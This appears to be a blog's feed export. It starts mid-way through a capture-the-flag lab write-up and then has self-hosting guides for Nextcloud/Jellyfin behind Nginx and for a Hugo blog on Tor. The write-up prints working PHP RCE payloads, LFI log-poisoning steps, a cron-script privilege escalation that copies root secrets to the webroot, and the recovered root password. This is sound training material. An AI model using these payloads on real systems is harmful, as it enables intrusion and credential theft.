    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

